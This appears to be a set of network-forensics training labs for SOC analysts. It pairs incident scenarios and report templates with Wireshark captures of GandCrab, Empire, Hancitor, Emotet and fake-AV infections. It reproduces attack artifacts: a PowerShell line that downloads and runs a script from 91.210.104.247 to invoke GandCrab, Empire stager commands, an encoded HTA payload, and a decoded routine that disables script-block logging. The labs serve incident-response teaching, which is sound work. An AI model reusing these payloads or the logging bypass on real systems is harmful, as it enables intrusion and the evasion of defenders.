user@ Labs/CPA Firm Threat Hunting Activity \$

```
user@PC-2023-07-14-17-44-19:~$ strings -n 20 CPA-Firm-Threat-Hunting-P1.pcapng | grep -i -E "user|pass"
```

489 client pkts, 596 server pkts, 939 turns.



Lab: Network Tool Download

Scenario



lab-download-network-tools.pcapng

Snort IDS alerts on a potentially malicious executable being downloaded by a network admin. The network admin is on break, so you must dig into the captured network traffic to determine if the download is evil or a false alarm.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

Wireshark · Protocol Hierarchy Statistics · lab-download-network-tools.pcapng

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s
Frame	100.0	1156	100.0	832838	17 k	0	0	0
Ethernet	100.0	1156	1.9	16184	334	0	0	0
Internet Protocol Version 6	1.3	15	0.1	600	12	0	0	0
User Datagram Protocol	0.9	10	0.0	80	1	0	0	0
Link-local Multicast Name Resolution	0.2	2	0.0	66	1	2	66	1
DHCPv6	0.7	8	0.1	760	15	8	760	15
Internet Control Message Protocol v6	0.4	5	0.0	140	2	5	140	2
Internet Protocol Version 4	95.4	1103	2.7	22080	456	0	0	0
User Datagram Protocol	15.3	177	0.2	1416	29	0	0	0
Simple Service Discovery Protocol	0.7	8	0.2	1384	28	8	1384	28
Link-local Multicast Name Resolution	0.2	2	0.0	66	1	2	66	1
GQUIC (Google Quick UDP Internet Connections)	12.9	149	10.6	87884	1816	149	87884	1816
Dynamic Host Configuration Protocol	0.2	2	0.1	617	12	2	617	12
Domain Name System	1.4	16	0.1	916	18	16	916	18
Transmission Control Protocol	79.7	921	84.0	699195	14 k	862	688030	14 k
Transport Layer Security	1.6	18	0.8	6879	142	17	3802	78
NetBIOS Session Service	0.1	1	0.0	1	0	1	1	0
Hypertext Transfer Protocol	2.2	26	81.0	674303	13 k	13	1730	35
Media Type	0.1	1	8.7	72704	1502	1	73017	1508
Line-based text data	0.8	9	71.5	595856	12 k	9	596496	12 k
eXtensible Markup Language	0.3	3	0.1	1035	21	3	1035	21
Data	1.3	15	0.0	15	0	15	15	0
Internet Group Management Protocol	0.4	5	0.0	80	1	5	80	1
Address Resolution Protocol	3.3	38	0.1	1064	21	38	1064	21

Wireshark · Export · HTTP object list

Packet	Hostname	Content Type	Size	Filename
217	91.210.104.247	application/x-msdos-program	72 kB	putty.exe
281	169.254.169.254	text/plain	4 bytes	instance-action
628	91.210.104.247	text/plain	297 kB	emotet.anal.destroyer.txt
922	91.210.104.247	text/plain	297 kB	emotet.anal.destroyer.txt
957	169.254.169.254	text/plain	4 bytes	instance-action
1001	169.254.169.254	text/plain	4 bytes	instance-action
1014	169.254.169.254	text/html	345 bytes	security-credentials
1050	169.254.169.254	text/plain	4 bytes	instance-action
1079	169.254.169.254	text/html	345 bytes	security-credentials
1089	169.254.169.254	text/html	345 bytes	security-credentials
1105	169.254.169.254	text/plain	4 bytes	instance-action
1126	169.254.169.254	text/plain	4 bytes	instance-action
1149	169.254.169.254	text/plain	4 bytes	instance-action



```
GET /putty.exe HTTP/1.1
Host: 91.210.104.247
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

```
HTTP/1.1 200 OK
Date: Fri, 06 Jul 2018 05:08:58 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Thu, 05 Jul 2018 09:17:20 GMT
ETag: "208f1-11c00-5703d03a4c800"
Accept-Ranges: bytes
Content-Length: 72704
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
```

```
MZ.....@..... !..L.!This program cannot be run in
DOS mode.
```

```
$.....s....H ...v...I ...b ...L ...r ...w ... Rich...
.....PE..L....=F.....
```

Wireshark · Follow TCP Stream (tcp.stream eq 2) · lab-download-network-tools.pcapng

u.z.-.c.y.r.l.....u.z.-.u.z.-.l.a.t.n.....v.i.-.v.n...x.h.-.z.a...z.h.-.c.h.s.....z.h.-.c.h.t.....z.h.-.c.n..
.z.h.-.h.k...z.h.-.m.o...z.h.-.s.g...z.h.-.t.w...z.u.-.z.a....}@.C.O.N.O.U.T.\$...e+000...1#SNAN..1#IND...
1#INF...
1#QNAN.....ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/....`..@.....I.E.X.
(..(n.e.w.-.o.b.j.e.c.t. .n.e.t...w.e.b.c.l.i.e.n.t.)...d.o.w.n.l.o.a.d.s.t.r.i.n.g.(.'h.t.t.p://. /.
9.1...2.1.0...1.0.4...2.4.7./.e.m.o.t.e.t...a.n.a.l...d.e.s.t.r.o.y.e.r...t.x.t.'..);.I.n.v.o.k.e.-.G.a.n.d
.C.r.a.b.;.S.t.a.r.t.-.S.l.e.e.p. .-.s. .1.0.0.0.0.0.;.....CreateProcessW..%w.i.n.d.i.r.%\S.y.s.W.O.W.
6.4.\W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\v.1...0.\p.o.w.e.r.s.h.e.l.l...e.x.e...%w.i.n.d.i.r%
\S.y.s.t.e.m.3.2.\W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\v.1...0.\p.o.w.e.r.s.h.e.l.l...e.x.e...%.s."
..-w. .1. ..-e. ...
%.S.....H.....P.A...@.....P/...L..ph.....
.....@...@.....[@.....g
@.....!@.....!@.....%@.....|.....
(@.....`5@.....



Lab: Patch Tuesday

IR Scenario



Your system admin reports a potential incident after performing remote updates on an EC2 instance. Take a look at the sniffed traffic to determine if there's a reason to dig deeper.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

Attacker

```
(Empire: stager/windows/hta) > set Listener http  
(Empire: stager/windows/hta) > set OutFile /var/www/html/Adobe-Update.hta  
(Empire: stager/windows/hta) > execute  
  
[*] Stager output written out to: /var/www/html/Adobe-Update.hta
```

Attacker

```
(Empire: listeners) > [*] Sending POWERSHELL stager (stage 1) to 35.166.118.220
[*] New agent V14WRX35 checked in
[+] Initial agent V14WRX35 from 35.166.118.220 now active (Slack)
[*] Sending agent (stage 2) to V14WRX35 at 35.166.118.220
```

Attacker

(Empire: [listeners](#)) > listeners

[*] Active listeners:

Name	Module	Host	Delay/Jitter	KillDate
http	http	http://34.241.174.154:8080	5/0.0	

(Empire: [listeners](#)) > agents

[*] Active agents:

Name	La Seen	Internal IP	Machine Name	Username	Process	PID	Delay	Last
KF5R3Y7S	07-21 17:08:48	ps 10.10.10.112	EC2AMAZ-9TF4VA1	*EC2AMAZ-9TF4VA1\Admini	powershell	3048	5/0.0	2019-
V14WRX35	07-21 17:08:44	ps 10.10.10.112	EC2AMAZ-9TF4VA1	*EC2AMAZ-9TF4VA1\Admini	powershell	4680	5/0.0	2019-

Wireshark · Export · HTTP object list

Packet	Hostname	Content Type	Size	Filename
245	ocsp.pki.goog	application/ocsp-request	83 bytes	GTSGIAG3
246	ocsp.pki.goog	application/ocsp-request	83 bytes	GTSGIAG3
265	ocsp.pki.goog	application/ocsp-request	83 bytes	GTSGIAG3
267	ocsp.pki.goog	application/ocsp-response	471 bytes	GTSGIAG3
268	ocsp.pki.goog	application/ocsp-response	471 bytes	GTSGIAG3
308	ocsp.pki.goog	application/ocsp-response	471 bytes	GTSGIAG3
686	ocsp.pki.goog	application/ocsp-request	84 bytes	gts1o1
702	ocsp.pki.goog	application/ocsp-response	472 bytes	gts1o1
994	ocsp.pki.goog	application/ocsp-request	83 bytes	GTSGIAG3
1031	ocsp.pki.goog	application/ocsp-request	83 bytes	GTSGIAG3
1036	ocsp.pki.goog	application/ocsp-response	471 bytes	GTSGIAG3
1074	ocsp.pki.goog	application/ocsp-response	471 bytes	GTSGIAG3
1776	34.241.174.154	application/hta	4906 bytes	Adobe-Update.ht
2530	34.241.174.154:8080	text/html	5388 bytes	get.php
2543	34.241.174.154:8080		462 bytes	process.php
2546	34.241.174.154:8080	text/html	256 bytes	process.php
2559	34.241.174.154:8080		238 bytes	news.php
2601	34.241.174.154:8080	text/html	38 kB	news.php
2635	34.241.174.154:8080	text/html	1215 bytes	news.php
2657	34.241.174.154:8080	text/html	1215 bytes	process.php
2685	34.241.174.154:8080	text/html	1215 bytes	get.php
2707	34.241.174.154:8080	text/html	1215 bytes	news.php
3052	34.241.174.154:8080	text/html	1215 bytes	process.php

user@ /Labs/Patch Tuesday\$ strings -n 8 Adobe-Update.hta

```
<html><head><script>var c= 'powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgB1AHIAUwBpAG8ATgBUAGEAYgBsAEUALgB
QAFMAVgBFAFIUwBpAG8ATgAuAE0AQQBqAE8AcgAgAC0AZwB1ACAAMwApAHsAJABHFAARgA9AFsAcgB1AEYAXQAuAEEAcwBzAGUAAbQBiAGwAeQ
AuAEcARQB0AFQAeQBwAEUAKAAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQB1AG4AdAAuAEEAdQB0AG8AbQBhAHQAAQBvAG4ALgBVAHQAA
QBsaHMAJwApAC4AIgBHAEUAdABGAEkAZQBgAGwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHKAUwB1AHQAdABpAG4A
ZwBzACCALAAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHFAARgApAHsAJABHFAAQwA9ACQ
ARwBQAEYALgBHAGUAdABWAEETABVAGUAKAAKAG4AVQbsAEwAKQA7AEkAZgAoACQARwBQAEMAwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAG
MAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdA
FsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHFAAQwBbACcAUwBj
AHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMACgBpAHAAdABCAGwAbwBjAGsASQB
uAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBsAD0AWwBDAE8AbABMAGUAQwB0AGkAbwBOAHMALgBHAGUATg
B1AFIASQBjAC4ARABpAGMAVABJAE8ATgBBHIAWQBbAHMAVABSAGkAbgBHACwAUwBZAHMAVAB1AE0ALgBPAEIASgB1AGMAVABdAF0AOgA6AE4AZ
QBXACgAKQA7ACQAdgBBAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcA
JwAsADAAKQA7ACQAdgBBAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4
ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHFAAQwBbACcASABLAEUAWQBfAEwATwBDAEETABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AH
cAYQByAGUAXABQAG8AbABpAGMAaQB1AHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwB1AHIAUwBoAGUAbABsA
FwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAEEAbAB9AEUATABTAEUAEwBbAFMAQwBSAGkAcAB0
AEIATABvAGMASwBdAC4AIgBHAEUAVABGAEkAZQBgAGwAZAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAAnAE4AJwArACcAbwBuAFAAdQB
iAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwB1AHQAVgBBAEwAVQBFACgAJABOAFUATABsACwAKABOAGUAdwAtAE8AQgBqAGUAQwB0ACAAQw
BvAEwATABFAEMAVABJAG8AbgBTAC4ARwB1AG4AZQByAEkAYwAuAEgAQQBTAGgAUwBFAFQAwBTAHQAUgBJAE4ARwBdACKAKQB9AFsAUgBFAEYAX
QAuAEEAUwBzAEUATQBiAGwAeQAUAEcAZQBUAFQAAeQBQAEUAKAAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQB1AG4AdAAuAEEAdQB0AG8A
```

user@[REDACTED]:~\$ cd /tmp/Labs/Patch Tuesday\$ base64 -d test.txt

```
If( $PSVersionTable.PSVersion.Major -ge 3 ) { $GPF = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFileId`("cachedGroupPolicySettings", 'N'+`onPublic, static'); If( $GPC ) { $GPC = $GPF.GetFieldValue($null); If( $GPC[ 'ScriptBlock' + 'lockLogging' ] ) { $GPC[ 'ScriptBlock' + 'lockLogging' ][ 'EnabledScriptBlock' + 'lockLogging' ] = 0; $GPC[ 'ScriptBlock' + 'lockLogging' ][ 'EnabledScriptBlockInvocationLogging' ] = 0 } $val = [Collections.Generic.Dictionary[String, System.Object]]::New(); $val.Add('EnabledScriptBlock' + 'lockLogging', 0); $val.Add('EnabledScriptBlockInvocationLogging', 0); $GPC[ 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlock' + 'lockLogging' ] = $val } ELSE { [ScriptBlock]."GetFileId`("signatures", 'N'+`onPublic, static').SetKeyValue($null, (New-Object Collections.Generic.HashSet[String])) } [REF].Assembly.GetType('System.Collections.Generic.Dictionary`2[[String, Object]]').ConstructFrom($val) }
```



Lab: Malicious Traffic 2



2018-05-11-traffic-analysis-exercise.pcap

Malicious Traffic 2

Scenario


"Night Dew" is a nickname for moonshine illegally created by someone's great-grandfather back in the early 1800s. As decades passed, the old man's descendants kept his moonshine recipe alive. By the late 1900s, they became a legitimate business named Night Dew Spirits.

In recent years, Night Dew Spirits expanded to several locations across the United States. Night Dew's expansion includes a network architecture under the name ***nightdew.org***. You work in the Security Operations Center (SOC) monitoring alerts on the company's network traffic.

On Friday 2018-05-11 (UTC time), you receive unspecified alerts on a possible infected Windows host. Your co-worker retrieves network traffic related to these alerts. You must review the traffic and draft an incident report.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:



Tordal/Hancitor/Chanitor Checkin detected in 2018-05-11-traffic-analysis-exercise.pcap

Time	Packet	Protocol	Source	Destination	Additional Threats	Follow
2018/05/11 02:08:04 +0000	630	TCP	10.0.14.129:49198	185.43.223.6:80 (Netherlands)	source dest ip pair	stream

Payload (370 bytes) show as: [hex](#) | [ascii](#)

00000000	50 4f 53 54 20 2f 34 2f 66 6f 72 75 6d 2e 70 68	POST /4/forum.ph
00000010	70 20 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65	p HTTP/1.1..Acce
00000020	70 74 3a 20 2a 2f 2a 0d 0a 43 6f 6e 74 65 6e 74	pt: /*..Content
00000030	2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69	-Type: applicati
00000040	6f 6e 2f 78 2d 77 77 2d 66 6f 72 6d 2d 75 72	on/x-www-form-ur
00000050	6c 65 6e 63 6f 64 65 64 0d 0a 55 73 65 72 2d 41	lencoded..User-A
00000060	67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e	gent: Mozilla/5.
00000070	30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e	0 (Windows NT 6.
00000080	31 3b 20 57 69 6e 36 34 3b 20 78 36 34 3b 20 54	1; Win64; x64; T
00000090	72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31	rident/7.0; rv:1
000000A0	31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 0d	1.0) like Gecko.
000000B0	0a 48 6f 73 74 3a 20 6c 79 73 65 64 73 6f 68 61	.Host: lysedsoha
000000C0	70 2e 63 6f 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c	p.com..Content-L
000000D0	65 6e 67 74 68 3a 20 31 32 33 0d 0a 43 61 63 68	ength: 123..Cach
000000E0	65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61	e-Control: no-ca
000000F0	63 68 65 0d 0a 0d 0a 47 55 49 44 3d 31 30 34 31	che....GUID=1041
00000100	32 37 37 31 39 37 33 36 36 35 30 30 32 32 34 30	2771973665002240
00000110	26 42 55 49 4c 44 3d 30 39 66 68 78 30 35 26 49	&BUILD=09fhx05&I
00000120	4e 46 4f 3d 43 48 49 43 41 47 4f 2d 37 46 41 33	NFO=CHICAGO-7FA3
00000130	2d 50 43 20 40 20 4e 49 47 48 54 44 45 57 5c 66	-PC @ NIGHTDEW\f

1 Alert

Alerts provided by Emerging Threats 2018-06-21

Signature	SID.rev	Rule Set
1 Tordal/Hancitor/Chanitor Checkin	2819978.5	ETPRO TROJAN

External References

There are no references available for these alerts.

Follow HTTP Stream 10.0.14.129:49198 ↔ 185.43.223.6:80 in 2018-05-11-traffic-analysis-exercise.pcap

Show only this stream | Filter out this stream

Entire Conversation

ASCII Hex Dump Wrap long lines



Lab: Malicious Traffic 3



2018-07-03-Emotet-malspam-infection-traffic.pcap
Malicious Traffic 3

Scenario

You get into the office after a nice mid-week 4th of July break. A user reports a possible incident after opening a document called “wishes-July-4th.doc”. The help desk has escalated the ticket to your queue and you get to work. You analyze the attached email titled “4th of July congratulation” and spin up a sandbox to test the attachment. The screenshots attached are taken as part of your IR documentation.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

Received: from 10.0.0.60 ([77.154.199.135]) by [removed] for [removed];
Tue, 03 Jul 2018 19:24:10 +0000 (UTC)
Date: Tue, 03 Jul 2018 21:23:59 +0100
From: William King <[removed]@[removed]>
To: [removed]
Message-ID: <130638435820.201873192359@[recipient's email domain]>
Subject: 4th of July congratulation
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=====NextPart_000_0096_B04CEA8B.A68B144C"

=====NextPart_000_0096_B04CEA8B.A68B144C
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

=0DHi,

=0DThis independence day brings forth a new hope to make our tomorrows most=beautiful and cherished. =0DWishing everyone a very happy 4th of July.

Greeting Card in attachment.


<http://www.2019voting.com/4th-July-2018/>

Happy July 4th!

William King
=20

=0D"Red is for victory white is for purity blue is for loyalty USA where courage n=E2=80=99 Fortitude is the Norm!"

=====NextPart_000_0096_B04CEA8B.A68B144C--



Files Downloaded

http.request or http.request or http.response

No.	Time	Source	Destination	Protocol	SrcPort	DstPort	Host	GeoIP	Server Name	Info
6	0.778512	10.7.3.102	45.63.31.206	HTTP	49194	80	www.grabaspace.com			GET /Greeting-eCard/ HTTP/1.1
364	2.374024	45.63.31.206	10.7.3.102	HTTP	80	49194		Sydney, AU, ASN 20473, Choopa, LLC		HTTP/1.1 200 OK (application/msword)
375	42.521184	10.7.3.102	64.13.232.218	HTTP	49198	80	www.kotizacija.branding.ba			GET /TsUbf7QLJ/ HTTP/1.1
497	43.978714	64.13.232.218	10.7.3.102	HTTP	80	49198		Culver City, US, ASN 31815, Media Te..		HTTP/1.1 200 OK (application/octet-stream)
503	64.751347	10.7.3.102	189.197.62.222	HTTP	49199	443	189.197.62.222:443			POST / HTTP/1.1

Wireshark - Export - HTTP object list

Packet	Hostname	Content Type	Size	Filename
364	www.grabaspace.com	application/msword	260 kB	Greeting_Card
497	www.kotizacija.branding.ba	application/octet-stream	106 kB	TsUbf7QLJ
503	189.197.62.222:443		324 bytes	\

Info

```

GET /Greeting-eCard/ HTTP/1.1
HTTP/1.1 200 OK (application/msword)
GET /TsUbf7QLJ/ HTTP/1.1
HTTP/1.1 200 OK (application/octet-stream)
POST / HTTP/1.1

```

Follow TCP Stream

Wireshark · Follow TCP Stream (tcp.stream eq 1) · 2018-07-03-Emotet-malspam-infection-traffic.pcap

```
GET /TsUbf7QLJ/ HTTP/1.1
Host: www.kotizacija.branding.ba
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 13:30:33 GMT
Server: Apache/2.2.34
X-Powered-By: PHP/5.6.21
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Content-Disposition: attachment; filename="206326504479.exe"
Content-Transfer-Encoding: binary
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/octet-stream

11ef0
MZ .....@..... .!..L.!This program cannot be run in DOS mode.

$.....PE..L..v;[.....
`.....@...@...
.....@..T...1..H.....text...*!.....0...
...rdata...F...@...P...@.....@..@.data...T.....@....pdata..p.....
0...p.....@...@...
```



Lab: Malicious Traffic 4




2018-06-28-fake-AV-screen-locker.pcap
Malicious Traffic 4


Scenario

This is the third time this week that Paul has infected his system with fake AV software. The help desk manager is getting annoyed that his team has to keep fixing Paul's system, so he asks you how they can better prevent these incidents.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:








Call Tech Support
now:
Toll free
+1-866-443-3380

A problem has been detected and windows has been
stopped to prevent further damage to your computer.
POSSIBLE_VIRUS_DETECTION

If this message appears your computer might be
infected with a virus or spyware. Your computer safety is
at risk, do not use your computer before you have



(0x0000000C,0x00000002,0x00000000,0xF86B5A89)

flux.exe - Address F86B5A89 base at F86B5000,
TimeStamp 3dd9919eb

Beginning dump of physical memory

Physical memory dump complete.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

HTTP Requests and Replies

Info

```
GET /ie/index.php?source=popcash HTTP/1.1
HTTP/1.1 200 OK (text/html)
GET /ie/images/ie.jpg HTTP/1.1
GET /ie/images/dl1.png HTTP/1.1
HTTP/1.1 200 OK (JPEG JFIF image)
GET /ie/test.php?id=17599 HTTP/1.1
HTTP/1.1 200 OK (PNG)
HTTP/1.1 200 OK (application/hta)
HEAD /ie/lulz.php?id=17599 HTTP/1.1
HTTP/1.1 302 Found
HEAD /ie/ytus2.exe HTTP/1.1
HTTP/1.1 200 OK
```

Wireshark · Follow TCP Stream (tcp.stream eq 7) · 2018-06-28-fake-AV-screen-locker.pcap

```
GET /ie/ytus2.exe HTTP/1.1
Connection: Keep-Alive
Accept: /*
Accept-Encoding: identity
If-Unmodified-Since: Wed, 27 Jun 2018 00:37:52 GMT
Range: bytes=0-4605
User-Agent: Microsoft BITS/7.5
Host: 176.119.28.108

HTTP/1.1 206 Partial Content
Date: Thu, 28 Jun 2018 08:28:55 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Wed, 27 Jun 2018 00:37:52 GMT
ETag: "20569-b000-56f94d32c1dc1"
Accept-Ranges: bytes
Content-Length: 4606
Content-Range: bytes 0-4605/45056
Connection: close
Content-Type: application/octet-stream

MZ.....@..... .!..L. This program cannot be run in DOS mode.

$.....PE..L..1A1[....."....0.....@...
.....@.....L...0...
..H.....text...T...
...`rsrc.....@...@.reloc.....@...B.....H.....J...M.....M...
.....(...
```

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Thank You!

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